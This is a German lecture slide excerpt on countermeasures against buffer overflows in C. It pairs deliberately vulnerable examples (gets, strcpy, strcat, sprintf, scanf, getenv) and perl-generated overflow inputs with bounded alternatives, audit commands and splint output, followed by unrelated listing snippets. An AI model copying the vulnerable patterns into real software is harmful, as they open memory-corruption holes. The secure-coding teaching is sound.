49 Gegenmassnahmen Sichere Programmierung gets fgets Die Alternative für gets ist die Funktion fgets, beider die Anzahl der von stdin gelesenen Bytes angegeben werden muss: $ man fgets # include <stdio.h> char * fgets ( char *s, int size, FILE * stream ); fgets () liest höchstens size minus ein Zeichen von stream und speichert sie in dem Puffer, auf den s zeigt. Das Lesen stoppt nach einem EOF oder Zeilenvorschub. Wenn ein Zeilenvorschub gelesen wird, wird er in dem Puffer gespeichert. Ein \0 wird nach dem letzten Zeichen im Puffer gespeichert. fgets.c # include <stdio.h> int main ( void ) { char buff [24]; printf (" Eingabe : "); fgets ( buff, 24, stdin ); return 0; } 49 / 69

50 Gegenmassnahmen Sichere Programmierung strcpy strncpy Die Funktion strcpy haben wir bereits als unsichere Bibliotheksfunktion identifiziert. Sie dient dazu, eine Zeichenkette von einem Puffer in einen anderen zu kopieren. Dabei werden keine Überprüfungen der Puffergrenzen vorgenommen. Daher ist diese Funktion der klassische Angriffspunkt für Pufferüberlauf-Attacken. strcpy.c 1 # include <string.h> 2 int main ( int argc, char * argv []) { 3 char buff [24]; 5 if ( argc > 1) 6 strcpy ( buff, argv [1]); 8 return 0; 9 } 50 / 69

51 Gegenmassnahmen Sichere Programmierung strcpy strncpy Als sichere Alternative sollte man strncpy verwenden. BEZEICHNUNG strcpy, strncpy - kopiert eine Zeichenkette ÜBERSICHT # include < string.h> char * strcpy ( char *dest, const char * src ); char * strncpy ( char *dest, const char *src, size_t n); BESCHREIBUNG Die Funktion strcpy () kopiert die Zeichenkette, auf die der Zeiger src zeigt, inklusive des Endezeichens \0 an die Stelle, auf die dest zeigt. Die Zeicheketten dürfen sich nicht überlappen und dest muß groß genug sein. Die Funktion strncpy () tut dasselbe mit dem Unterschied, daß nur die ersten n Byte von src kopiert werden. Ist kein \0 innerhalb der ersten n Bytes,so wird das Ergebnis nicht durch \0 abgeschlossen. Ist die Länge von src kleiner als n Bytes, so wird dest mit Nullen aufgefüllt. RÜCKGABEWERT Die Funktionen strcpy () und strncpy () geben einen Zeiger auf dest zurück. 51 / 69

52 Gegenmassnahmen Sichere Programmierung strcpy strncpy strncpy.c 1 # include <string.h> 2 # define BUFFER 24 3 int main ( int argc, char * argv []) { 4 char buff [ BUFFER ]; 6 if ( argc > 1) { 7 strncpy ( buff, argv [1], BUFFER - 1); 8 buff [ BUFFER - 1] = '\0 ';!!! 9 } 11 return 0; 12 } Achtung: Das Ende der Zeichenkette ist stets explizit mit \0 zu terminieren, ansonsten entsteht eine neue Schwachstelle. 52 / 69

53 Gegenmassnahmen Sichere Programmierung strcat strncat Die Funktion strcat ist eine weitere unsichere Bibliotheksfunktion, zu der es eine sichere Alternative gibt, bei der aber auch die Nulltermination zu beachten ist. BEZEICHNUNG strcat, strncat - verbinden zwei Zeichenketten ÜBERSICHT # include < string.h> char * strcat ( char *dest, const char * src ); char * strncat ( char *dest, const char *src, size_t n); BESCHREIBUNG Die Funktion strcat hängt die Zeichenkette src an die Zeichenkette dest an, wobei das Stringendezeichen \0 überschrieben wird und ein neues \0 am Ende der gesamten Zeichenkette angehängt wird. Die Zeichenket - ten können sich nicht überlappen und dest muß Platz genug für die gesamte Zeichenkette haben. Die Funktion strncat tut dasselbe, wobei allerdings nur die ersten n Buchstaben von src kopiert werden. RÜCKGABEWERT Die Funktionen strcat () und strncat () liefern einen Zeiger auf die gesamte Zeichekette dest zurück. 53 / 69

54 Gegenmassnahmen Sichere Programmierung strcat strncat Im nachfolgenden Beispiel wird mittels strcat an die Zeichenkette Jenni das Kommandozeilen-Argument angehängt: strcat.c 1 # include <string.h> 2 # include <stdio.h> 3 # define BUFFER 8 4 int main ( int argc, char * argv []) { 5 char buff [ BUFFER ] = " Jenni "; 7 if ( argc > 1) 8 strcat ( buff, argv [1]); 10 printf (" buff : [%s] (%p)\n", buff, buff ); 11 return 0; 12 } $ strcat `perl -e '{ print "A" x1}'` buff : [ JenniA ] (0 xfef6b030 ) $ strcat `perl -e '{ print "A" x8}'` buff : [ JenniAAAAAAAA ] (0 xfeee5c90 ) Speicherzugriffsfehler $ 54 / 69

55 Gegenmassnahmen Sichere Programmierung strcat strncat Bei der sicheren Alternative werden nur soviel Zeichen kopiert, dass kein Überlauf statt finden kann: strncat.c 1 # include <string.h> 2 # include <stdio.h> 3 # define BUFFER 8 5 int main ( int argc, char * argv []) { 6 char buff [ BUFFER ] = " Jenni "; 8 if ( argc > 1) 9 strncat ( buff, argv [1], BUFFER - strlen ( buff ) - 1); 11 printf (" buff : [%s] (%p)\n", buff, buff ); 12 return 0; 13 } $ strncat `perl -e '{ print "A" x1}'` buff : [ JenniA ] (0 xfeeece70 ) $ strncat `perl -e '{ print "A" x8}'` buff : [ JenniAA ] (0 xfeecbe90 ) $ 55 / 69

56 Gegenmassnahmen Sichere Programmierung sprintf snprintf Die beiden Bibliotheksfunktionen zur formatierten Ausgabe sind unsicher, da auch sie keine Längenüberprüfung vornehmen. Im folgenden Beispiel wird das Kommandozeilen-Argument in den Puffer buff geschrieben und keine Längenprüfung durchgeführt. sprintf.c 1 # include <stdio.h> 2 # define BUFFER 16 3 int main ( int argc, char * argv []) { 4 char buff [ BUFFER ]; 6 if ( argc > 1) 7 sprintf (buff, " Eingabe : %s", argv [1]); 9 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 10 return 0; 11 } $ sprintf `perl -e '{ print "A" x10 } '` buff : [ Eingabe : AAAAAAAAAA ] (0 xfef71e80 )(19) $ sprintf `perl -e '{ print "A" x20 } '` buff : [ Eingabe : AAAAAAAAAAAAAAAAAAAA ] (0 xfee91110 )(29) Speicherzugriffsfehler $ 56 / 69

57 Gegenmassnahmen Sichere Programmierung sprintf snprintf Verwenden sollte man stets die sichere Alternative snprintf: snprintf.c 1 # include <stdio.h> 2 # define BUFFER 16 3 int main ( int argc, char * argv []) { 4 char buff [ BUFFER ]; 6 if ( argc > 1) { 7 snprintf ( buff, BUFFER, " Eingabe : %s", argv [1]); 8 buff [ BUFFER - 1] = '\0 '; 9 } 10 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 11 return 0; 12 } $ snprintf `perl -e '{ print "A" x10 } '` buff : [ Eingabe : AAAAAA ] (0 xfef50c80 )(15) $ snprintf `perl -e '{ print "A" x20 } '` buff : [ Eingabe : AAAAAA ] (0 xfef0a790 )(15) $ Achtung: Nicht alle Implementierungen von snprintf terminieren den String mit 0. Deshalb sollte man dies stets explizit tun! 57 / 69

58 Gegenmassnahmen Sichere Programmierung scanf Die Schwachstellen der scanf-familie (scanf, sscanf, fscanf) von Bibliotheksfunktionen werden an scanf demonstriert. Die Schwachstelle beruht wieder darauf, dass keine Überprüfung der Puffergrenzen durchgeführt wird. scanf.c 1 # include <stdio.h> 2 # define BUFFER 8 3 int main ( int argc, char * argv []) { 4 char buff [ BUFFER ]; 6 scanf ("%s", & buff ); 7 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 8 return 0; 9 } $ scanf AAAAAAAA buff : [ AAAAAAAA ] (0 xfeef59a0 )(8) $ scanf AAAAAAAABBBBBBBB buff : [ AAAAAAAABBBBBBBB ] (0 xfefad570 )(16) Speicherzugriffsfehler $ 58 / 69

59 Gegenmassnahmen Sichere Programmierung scanf Für die scanf-familie gibt es keine sicherer Alternativen in der Standardbibliothek. Man kann aber scanf-funktionen verwenden, wenn man etwa die Längenbeschränkung im Format-String verwendet: scanf2.c 1 # define BUFFER 8 2 int main ( int argc, char * argv []) { 3 char buff [ BUFFER ]; 4 scanf ("%7s", & buff ); // %7s = % BUFFER -1 5 return 0; 6 } $ scanf2 AAAAAAAA $ scanf2 AAAAAAAABBBBBBBB $ 59 / 69

60 Gegenmassnahmen Sichere Programmierung getchar Die Funktion getchar (fgets, getc und read analog) dient zum lesen eines Zeichens von stdin. Im Zusammenhang mit Schleifen sind hier schnell Schwachstellen programmiert: getchar.c 1 # define BUFFER 8 2 int main ( void ) { 3 char buff [ BUFFER ], c; 4 int i = 0; 5 memset ( buff, 'A', BUFFER ); // fülle buff mit As 6 while ((c = getchar ())!= '\n') { // lese bis Newline 7 buff [i ++] = c; 8 } 9 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 10 } $ getchar AAAAAAAA buff : [ AAAAAAAAB?] (0 xfef04290 )(15) $ Offensichtlich sind in buff 15 Zeichen, obwohl er nur 8 Byte aufnehmen kann. Der Fehler liegt darin, dass nach der while-schleife keine Nulltermierung erfolgt ist. 60 / 69

61 Gegenmassnahmen Sichere Programmierung getchar Die korrekte Lösung ist: getchar2.c 1 # define BUFFER 8 2 int main ( void ) { 3 char buff [ BUFFER ], c; 4 int i = 0; 5 memset (buff, 'A', BUFFER ); 6 while ((c = getchar ())!= '\n' && i < 23) { 7 buff [i ++] = c; 8 } 10 // Nulltermination 11 if (i < BUFFER -1) 12 buff [i ++] = '\0 '; 13 else 14 buff [ BUFFER - 1] = '\0 '; 16 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 17 } $ getchar2 AAAAAAAA buff : [ AAAAAAA ] (0 xfef3cde0 )(7) $ 61 / 69

62 Gegenmassnahmen Sichere Programmierung getenv Das Lesen von Werten aus Umgebungsvariablen führt in Verbindung mir unsicheren Bibliotheksfunktionen genauso zu Schwachstellen, wie das Lesen von stdin. getenv.c 1 # define BUFFER 16 2 int main ( void ) { 3 char buff [ BUFFER ]; 4 char * tmp ; 6 tmp = getenv (" HOME "); 7 if ( tmp!= NULL ) 8 strcpy ( buff, tmp ); 10 printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); 11 } $ getenv buff : [/ home / as] (0 xfeec4560 )(8) $ 62 / 69

63 Gegenmassnahmen Sichere Programmierung getenv Ist der Wert der Umgebungsvariable zu gross, entsteht ein Pufferüberlauf, weil strcpy verwendet wurde. $ export HOME= AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB $ getenv buff : [ AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB ] (0 xfee9c330 )(32) Speicherzugriffsfehler $ Also richtig mit Längenüberprüfung durch stcncpy: getenv2.c # define BUFFER 16 int main ( void ) { char buff [ BUFFER ], * tmp ; tmp = getenv (" HOME "); if ( tmp!= NULL ) { strncpy ( buff, tmp, BUFFER - 1); buff [ BUFFER - 1] = '\0 '; } printf (" buff : [%s] (%p)(% d)\n", buff, buff, strlen ( buff )); } 63 / 69

64 Gegenmassnahmen Source Code Audits Source Code Audits Die Idee eines Quellkode Audits ist es, 1 alle gefährlichen Stellen zu finden und 2 anschliessend durch (einen zweiten) Programmierer überprüfen zu lassen. Wir haben gesehen, dass die Verwendung von statischen Zeichenpuffern mit unsicheren Funktionen zu Schwachstellen führen kann. Finden von solchen statischen Char-Puffern erfolgt z.b. einfach mittels grep: $ grep -n 'char.*\[ ' *.c fgets.c :4: char buff [24]; getchar2.c :5: char buff [ BUFFER ], c; getchar.c :5: char buff [ BUFFER ], c; getenv2.c :6: char buff [ BUFFER ], * tmp ; getenv.c :7: char buff [ BUFFER ]; gets.c :3: char buff [24];... $ 64 / 69

65 Gegenmassnahmen Source Code Audits Das Auffinden von unsicheren Bibliotheksfunktionen erledigt egrep: $ egrep -n ' strcpy gets ' *. c fgets.c :7: fgets ( buff, 24, stdin ); getenv.c :12: strcpy ( buff, tmp ); gets.c :6: gets ( buff ); strcpy.c :6: strcpy ( buff, argv [1]); $ 65 / 69

66 Gegenmassnahmen Automatisierte Softwaretests Automatisierte Softwaretests Es existieren mehrere frei verfügbare Analysatoren für C und C++ Quellkode, die die unsicheren Bibliotheksfunktionen erkennen und aufzeigen. flawfinder rats tools download.htm 66 / 69

67 Gegenmassnahmen Automatisierte Softwaretests splint Hier soll kurz ein Beispiel mit splint gezeigt werden: 1 # include <stdio.h> 2 int main ( void ) { 3 char buff [24]; 4 printf (" Eingabe : "); 5 gets ( buff ); was passiert bei Eingaben > 24? 6 return 0; 7 } $ splint gets.c Splint Feb 2004 gets.c: ( in function main ) gets.c :4:2: Use of gets leads to a buffer overflow vulnerability. Use fgets instead : gets Use of function that may lead to buffer overflow. gets.c :4:2: Return value ( type char *) ignored : gets ( buff ) Result returned by function call is not used. If this is intended, can cast result to ( void ) to eliminate message. Finished checking code warnings $ 67 / 69

68 Gegenmassnahmen Binary Audits Binary Audits Neben den Werkzeugen, die den Quellkode analysieren, existieren Werkzeuge, die man verwenden kann, wenn der Quellkode nicht verfügbar ist. Sie arbeiten mit den Binaries. Dabei werden die Programme durch Stresstests mit generierten Eingaben und Umgebungen wiederholt angestossen und das Verhalten beobachtet. Damit sollen z.b. r erkannt werden, bevor das Programm zum Einsatz in die produktive Umgebung freigegeben wird. In grossen Unternehmen, wird mehr und mehr der Quellkode zur Überprüfung vom Hersteller verlangt, der dann einem Audit unterzogen wird, bevor die Software eingesetzt werden darf. 68 / 69

69 Gegenmassnahmen Compilererweiterungen Compilererweiterungen Das Hauptproblem der liegt in der Sprache C bzw. C++ selbst. Die Idee bei der Entwicklung war u.a., eine Hochsprache zu haben, die dennoch in effizientem übersetzten Kode mündet. Deshalb sind Überprüfungen auf Zeigerreferenzen und Arraygrenzen dem Programmierer überlassen. Es existieren Erweiterungen der Programmierumgebung, die diese Überprüfungen vornehmen: C-Kode kann in der normalen oder der erweiterten Umgebung ohne Änderung laufen (Vorteil), aber in der erweiterten Umgebung ist die Kode-Performance sehr schlecht (Nachteil). Da C meist eingesetzt wird, wo es auf performanten Kode ankommt, sind diese Erweiterungen im praktischen Umfeld bedeutungslos. 69 / 69

Hier sollen solche Schwachstellen diskutiert werden und Techniken zu ihrer Vermeidung aufgezeigt

Hier sollen solche Schwachstellen diskutiert werden und Techniken zu ihrer Vermeidung aufgezeigt Buffer Overflows Pufferüberläufe (buffer overflows, buffer overruns) treten auf, wenn an Puffer mit statischen Anzahl von Elementen Werte übergeben werden, ohne dass eine Längenüberprüfung statt findet.

Mehr

Betriebssysteme - Sicherheit

Betriebssysteme - Sicherheit Betriebssysteme - Sicherheit alois.schuette@h-da.de Version: WS2015-v1.0(6a9de72) Alois Schütte 3. September 2015 1 / 85 Inhaltsverzeichnis Informationssicherheit ist ein weites Feld. Hier beschränken

Mehr

Programmierung in C. Grundlagen. Stefan Kallerhoff

Programmierung in C. Grundlagen. Stefan Kallerhoff Programmierung in C Grundlagen Stefan Kallerhoff Vorstellungsrunde Name Hobby/Beruf Schon mal was programmiert? Erwartungen an den Kurs Lieblingstier Für zu Hause C-Buch online: http://openbook.rheinwerk-verlag.de/c_von_a_bis_z/

Mehr

Zählen von Objekten einer bestimmten Klasse

Zählen von Objekten einer bestimmten Klasse Zählen von Objekten einer bestimmten Klasse Ziel, Inhalt Zur Übung versuchen wir eine Klasse zu schreiben, mit der es möglich ist Objekte einer bestimmten Klasse zu zählen. Wir werden den ++ und den --

Mehr

Anleitung über den Umgang mit Schildern

Anleitung über den Umgang mit Schildern Anleitung über den Umgang mit Schildern -Vorwort -Wo bekommt man Schilder? -Wo und wie speichert man die Schilder? -Wie füge ich die Schilder in meinen Track ein? -Welche Bauteile kann man noch für Schilder

Mehr

1 Vom Problem zum Programm

1 Vom Problem zum Programm Hintergrundinformationen zur Vorlesung GRUNDLAGEN DER INFORMATIK I Studiengang Elektrotechnik WS 02/03 AG Betriebssysteme FB3 Kirsten Berkenkötter 1 Vom Problem zum Programm Aufgabenstellung analysieren

Mehr

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung) Buffer Overflow 1c) 1 char passok='f'; 2 char password[8]; 3 printf( Passwort: ); 4 gets(password); 5 if(!strcmp(password, daspassw )){passok = 'T';} 6 if(passok=='t'){printf( %s, Willkommen! );} 7 else

Mehr

I.1 Die Parrot Assemblersprache

I.1 Die Parrot Assemblersprache I.1 Die Parrot Assemblersprache Die virtuelle CPU Parrot ermöglicht die Verarbeitung der Parrot Assemblersprache (PASM). Zum Einstieg soll ein erstes Beispiel die Ausführung einer PASM-Datei zeigen. Legen

Mehr

KeePass Anleitung. 1.0Allgemeine Informationen zu Keepass. KeePass unter Windows7

KeePass Anleitung. 1.0Allgemeine Informationen zu Keepass. KeePass unter Windows7 KeePass Anleitung 1.0Allgemeine Informationen zu Keepass KeePass unter Windows7 2.0 Installation unter Windows7 2.1 Erstellen einer neuen Datenbank 2.2 Speichern von Benutzernamen und Passwörtern 2.3 Sprache

Mehr

Binäre Bäume. 1. Allgemeines. 2. Funktionsweise. 2.1 Eintragen

Binäre Bäume. 1. Allgemeines. 2. Funktionsweise. 2.1 Eintragen Binäre Bäume 1. Allgemeines Binäre Bäume werden grundsätzlich verwendet, um Zahlen der Größe nach, oder Wörter dem Alphabet nach zu sortieren. Dem einfacheren Verständnis zu Liebe werde ich mich hier besonders

Mehr

Einführung in die Programmierung

Einführung in die Programmierung : Inhalt Einführung in die Programmierung Wintersemester 2008/09 Prof. Dr. Günter Rudolph Lehrstuhl für Algorithm Engineering Fakultät für Informatik TU Dortmund - mit / ohne Parameter - mit / ohne Rückgabewerte

Mehr

Übungen zu Einführung in die Informatik: Programmierung und Software-Entwicklung: Lösungsvorschlag

Übungen zu Einführung in die Informatik: Programmierung und Software-Entwicklung: Lösungsvorschlag Ludwig-Maximilians-Universität München WS 2015/16 Institut für Informatik Übungsblatt 9 Prof. Dr. R. Hennicker, A. Klarl Übungen zu Einführung in die Informatik: Programmierung und Software-Entwicklung:

Mehr

Der neue persönliche Bereich/die CommSy-Leiste

Der neue persönliche Bereich/die CommSy-Leiste Der neue persönliche Bereich/die CommSy-Leiste Mit der neue CommSy-Version wurde auch der persönliche Bereich umstrukturiert. Sie finden all Ihre persönlichen Dokumente jetzt in Ihrer CommSy-Leiste. Ein

Mehr

Informatik Grundlagen, WS04, Seminar 13

Informatik Grundlagen, WS04, Seminar 13 Informatik Grundlagen, WS04, Seminar 13 Informatik Informatik Grundlagen, Seminar 13 WS04 1 Was wir heute besprechen Nachbesprechen von Übungsblatt 11 Rekursion Grundprinzipien Übung Besprechung Übungsblatt

Mehr

Menü auf zwei Module verteilt (Joomla 3.4.0)

Menü auf zwei Module verteilt (Joomla 3.4.0) Menü auf zwei Module verteilt (Joomla 3.4.0) Oft wird bei Joomla das Menü in einem Modul dargestellt, wenn Sie aber z.b. ein horizontales Hauptmenü mit einem vertikalen Untermenü machen möchten, dann finden

Mehr

5 DATEN. 5.1. Variablen. Variablen können beliebige Werte zugewiesen und im Gegensatz zu

5 DATEN. 5.1. Variablen. Variablen können beliebige Werte zugewiesen und im Gegensatz zu Daten Makro + VBA effektiv 5 DATEN 5.1. Variablen Variablen können beliebige Werte zugewiesen und im Gegensatz zu Konstanten jederzeit im Programm verändert werden. Als Variablen können beliebige Zeichenketten

Mehr

Deklarationen in C. Prof. Dr. Margarita Esponda

Deklarationen in C. Prof. Dr. Margarita Esponda Deklarationen in C 1 Deklarationen Deklarationen spielen eine zentrale Rolle in der C-Programmiersprache. Deklarationen Variablen Funktionen Die Deklarationen von Variablen und Funktionen haben viele Gemeinsamkeiten.

Mehr

Felder, Rückblick Mehrdimensionale Felder. Programmieren in C

Felder, Rückblick Mehrdimensionale Felder. Programmieren in C Übersicht Felder, Rückblick Mehrdimensionale Felder Rückblick Vereinbarung von Feldern: typ name [anzahl]; typ name = {e1, e2, e3,..., en} Die Adressierung von Feldelementen beginnt bei 0 Die korrekte

Mehr

Praktikum Ingenieurinformatik. Termin 2. Verzweigungen (if-else), printf und scanf, while-schleife

Praktikum Ingenieurinformatik. Termin 2. Verzweigungen (if-else), printf und scanf, while-schleife Praktikum Ingenieurinformatik Termin 2 Verzweigungen (if-else), printf und scanf, while-schleife 1 1. Import/Export von Eclipse-Projekten 2. Verzweigungen (if-else-anweisung) 3. printf und scanf 4. Übungsaufgaben

Mehr

Lineargleichungssysteme: Additions-/ Subtraktionsverfahren

Lineargleichungssysteme: Additions-/ Subtraktionsverfahren Lineargleichungssysteme: Additions-/ Subtraktionsverfahren W. Kippels 22. Februar 2014 Inhaltsverzeichnis 1 Einleitung 2 2 Lineargleichungssysteme zweiten Grades 2 3 Lineargleichungssysteme höheren als

Mehr

Objektorientierte Programmierung

Objektorientierte Programmierung Objektorientierte Programmierung 1 Geschichte Dahl, Nygaard: Simula 67 (Algol 60 + Objektorientierung) Kay et al.: Smalltalk (erste rein-objektorientierte Sprache) Object Pascal, Objective C, C++ (wiederum

Mehr

Modellierung und Programmierung 1

Modellierung und Programmierung 1 Modellierung und Programmierung 1 Prof. Dr. Sonja Prohaska Computational EvoDevo Group Institut für Informatik Universität Leipzig 19. November 2015 Gültigkeitsbereich (Scope) von Variablen { int m; {

Mehr

Professionelle Seminare im Bereich MS-Office

Professionelle Seminare im Bereich MS-Office Der Name BEREICH.VERSCHIEBEN() ist etwas unglücklich gewählt. Man kann mit der Funktion Bereiche zwar verschieben, man kann Bereiche aber auch verkleinern oder vergrößern. Besser wäre es, die Funktion

Mehr

Automatisierung ( Fernsteuerung ) von Excel unter Microsoft Windows Tilman Küpper (tilman.kuepper@hm.edu)

Automatisierung ( Fernsteuerung ) von Excel unter Microsoft Windows Tilman Küpper (tilman.kuepper@hm.edu) HMExcel Automatisierung ( Fernsteuerung ) von Excel unter Microsoft Windows Tilman Küpper (tilman.kuepper@hm.edu) Inhalt 1. Einleitung...1 2. Beispiele...2 2.1. Daten in ein Tabellenblatt schreiben...2

Mehr

Outlook. sysplus.ch outlook - mail-grundlagen Seite 1/8. Mail-Grundlagen. Posteingang

Outlook. sysplus.ch outlook - mail-grundlagen Seite 1/8. Mail-Grundlagen. Posteingang sysplus.ch outlook - mail-grundlagen Seite 1/8 Outlook Mail-Grundlagen Posteingang Es gibt verschiedene Möglichkeiten, um zum Posteingang zu gelangen. Man kann links im Outlook-Fenster auf die Schaltfläche

Mehr

Funktionen Häufig müssen bestimmte Operationen in einem Programm mehrmals ausgeführt werden. Schlechte Lösung: Gute Lösung:

Funktionen Häufig müssen bestimmte Operationen in einem Programm mehrmals ausgeführt werden. Schlechte Lösung: Gute Lösung: Funktionen Häufig müssen bestimmte Operationen in einem Programm mehrmals ausgeführt werden. Schlechte Lösung: Der Sourcecode wird an den entsprechenden Stellen im Programm wiederholt Programm wird lang

Mehr

Programmiersprachen Einführung in C. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm

Programmiersprachen Einführung in C. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm Programmiersprachen Einführung in C Teil 2: Prof. Dr. int main (int argc, char *argv[]) int sum = 0; for (i = 0; i

Mehr

Unterprogramme. Funktionen. Bedeutung von Funktionen in C++ Definition einer Funktion. Definition einer Prozedur

Unterprogramme. Funktionen. Bedeutung von Funktionen in C++ Definition einer Funktion. Definition einer Prozedur Unterprogramme Unterprogramme sind abgekapselte Programmfragmente, welche es erlauben, bestimmte Aufgaben in wiederverwendbarer Art umzusetzen. Man unterscheidet zwischen Unterprogrammen mit Rückgabewert

Mehr

Stundenerfassung Version 1.8 Anleitung Arbeiten mit Replikaten

Stundenerfassung Version 1.8 Anleitung Arbeiten mit Replikaten Stundenerfassung Version 1.8 Anleitung Arbeiten mit Replikaten 2008 netcadservice GmbH netcadservice GmbH Augustinerstraße 3 D-83395 Freilassing Dieses Programm ist urheberrechtlich geschützt. Eine Weitergabe

Mehr

M. Graefenhan 2000-12-07. Übungen zu C. Blatt 3. Musterlösung

M. Graefenhan 2000-12-07. Übungen zu C. Blatt 3. Musterlösung M. Graefenhan 2000-12-07 Aufgabe Lösungsweg Übungen zu C Blatt 3 Musterlösung Schreiben Sie ein Programm, das die Häufigkeit von Zeichen in einem eingelesenen String feststellt. Benutzen Sie dazu ein zweidimensionales

Mehr

Übungspaket 31 Entwicklung eines einfachen Kellerspeiches (Stacks)

Übungspaket 31 Entwicklung eines einfachen Kellerspeiches (Stacks) Übungspaket 31 Entwicklung eines einfachen Kellerspeiches (Stacks) Übungsziele: Skript: 1. Definieren einer dynamischen Datenstruktur 2. Dynamische Speicher Speicherallokation 3. Implementierung eines

Mehr

Abschluss Version 1.0

Abschluss Version 1.0 Beschreibung Der Abschluss wird normalerweise nur einmal jährlich durchgeführt. Dieses Tech-Note soll helfen, diesen doch seltenen aber periodisch notwendigen Vorgang problemlos durchzuführen. Abschlussvarianten

Mehr

BTD Antivirus Evasion: Von der Idee zum PoC. Daniel Sauder SySS GmbH

BTD Antivirus Evasion: Von der Idee zum PoC. Daniel Sauder SySS GmbH BTD Antivirus Evasion: Von der Idee zum PoC Daniel Sauder SySS GmbH WHOAMI IT Security Consultant bei der SySS GmbH Vier Jahre Windows Admin Interesse an Mobile Apps, Web Apps, Windows Hacking u.v.m. OSCP

Mehr

CA Übung 30.01.2006. Christian kann heute nicht kommen => ich bin heute da, Christian das nächste Mal wieder

CA Übung 30.01.2006. Christian kann heute nicht kommen => ich bin heute da, Christian das nächste Mal wieder CA Übung 30.01.2006 Hallo zusammen! Christian kann heute nicht kommen => ich bin heute da, Christian das nächste Mal wieder Adrian Schüpbach: scadrian@student.ethz.ch Christian Fischlin: cfischli@student.ethz.ch

Mehr

Bedienungsanleitung Anlassteilnehmer (Vereinslisten)

Bedienungsanleitung Anlassteilnehmer (Vereinslisten) Bedienungsanleitung Anlassteilnehmer Dieses Programm ist speziell für Vereine entworfen. Es ist lizenzfrei verwendbar und gratis. Das Programm ist mit Excel 2010 erstellt worden und enthält VBA Programmierungen,

Mehr

Einführung in die Programmierung

Einführung in die Programmierung Technische Universität München WS 2003/2004 Institut für Informatik Prof. Dr. Christoph Zenger Testklausur Einführung in die Programmierung Probeklausur Java (Lösungsvorschlag) 1 Die Klasse ArrayList In

Mehr

Stundenerfassung Version 1.8

Stundenerfassung Version 1.8 Stundenerfassung Version 1.8 Anleitung Überstunden Ein Modul der Plusversion 2008 netcadservice GmbH netcadservice GmbH Augustinerstraße 3 D-83395 Freilassing Dieses Programm ist urheberrechtlich geschützt.

Mehr

AutoCAD 2007 - Dienstprogramm zur Lizenzübertragung

AutoCAD 2007 - Dienstprogramm zur Lizenzübertragung AutoCAD 2007 - Dienstprogramm zur Lizenzübertragung Problem: Um AutoCAD abwechselnd auf mehreren Rechnern einsetzen zu können konnte man bis AutoCAD 2000 einfach den Dongle umstecken. Seit AutoCAD 2000i

Mehr

Datenbanken Kapitel 2

Datenbanken Kapitel 2 Datenbanken Kapitel 2 1 Eine existierende Datenbank öffnen Eine Datenbank, die mit Microsoft Access erschaffen wurde, kann mit dem gleichen Programm auch wieder geladen werden: Die einfachste Methode ist,

Mehr

Matrix42. Use Case - Sicherung und Rücksicherung persönlicher Einstellungen über Personal Backup. Version 1.0.0. 23. September 2015 - 1 -

Matrix42. Use Case - Sicherung und Rücksicherung persönlicher Einstellungen über Personal Backup. Version 1.0.0. 23. September 2015 - 1 - Matrix42 Use Case - Sicherung und Rücksicherung persönlicher Version 1.0.0 23. September 2015-1 - Inhaltsverzeichnis 1 Einleitung 3 1.1 Beschreibung 3 1.2 Vorbereitung 3 1.3 Ziel 3 2 Use Case 4-2 - 1 Einleitung

Mehr

Tutorial about how to use USBView.exe and Connection Optimization for VNWA.

Tutorial about how to use USBView.exe and Connection Optimization for VNWA. Tutorial about how to use USBView.exe and Connection Optimization for VNWA. Tutorial über den Gebrauch von USBView.exe und die Anschluss-Optimierung für den VNWA. Es wurde beobachtet, dass bestimmte VNWA

Mehr

Übungen zu Softwaresysteme I Jürgen Kleinöder Universität Erlangen-Nürnberg Informatik 4, 2004 K-Uebung9.fm

Übungen zu Softwaresysteme I Jürgen Kleinöder Universität Erlangen-Nürnberg Informatik 4, 2004 K-Uebung9.fm K 9. Übung K 9. Übung K-1 Überblick Besprechung 7. Aufgabe (jbuffer) Unix, C und Sicherheit K.1 Mögliche Programmsequenz für eine Passwortabfrage in einem Server- Programm: int main (int argc, char *argv[])

Mehr

Arbeiten mit UMLed und Delphi

Arbeiten mit UMLed und Delphi Arbeiten mit UMLed und Delphi Diese Anleitung soll zeigen, wie man Klassen mit dem UML ( Unified Modeling Language ) Editor UMLed erstellt, in Delphi exportiert und dort so einbindet, dass diese (bis auf

Mehr

MORE Profile. Pass- und Lizenzverwaltungssystem. Stand: 19.02.2014 MORE Projects GmbH

MORE Profile. Pass- und Lizenzverwaltungssystem. Stand: 19.02.2014 MORE Projects GmbH MORE Profile Pass- und Lizenzverwaltungssystem erstellt von: Thorsten Schumann erreichbar unter: thorsten.schumann@more-projects.de Stand: MORE Projects GmbH Einführung Die in More Profile integrierte

Mehr

2. Semester, 2. Prüfung, Lösung

2. Semester, 2. Prüfung, Lösung 2. Semester, 2. Prüfung, Lösung Name Die gesamte Prüfung bezieht sich auf die Programmierung in C++! Prüfungsdauer: 90 Minuten Mit Kugelschreiber oder Tinte schreiben Lösungen können direkt auf die Aufgabenblätter

Mehr

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren Institut für Informatik Alina Barendt und Philipp Hagemeister Netzwerksicherheit Musterlösung Übungsblatt 4: Viren 1 Vorbereitung msg db "Virus" mov ah, 40h mov bx, 1 mov cx, $5 mov dx, msg int 21h ; Write

Mehr

Erweiterung der Aufgabe. Die Notenberechnung soll nicht nur für einen Schüler, sondern für bis zu 35 Schüler gehen:

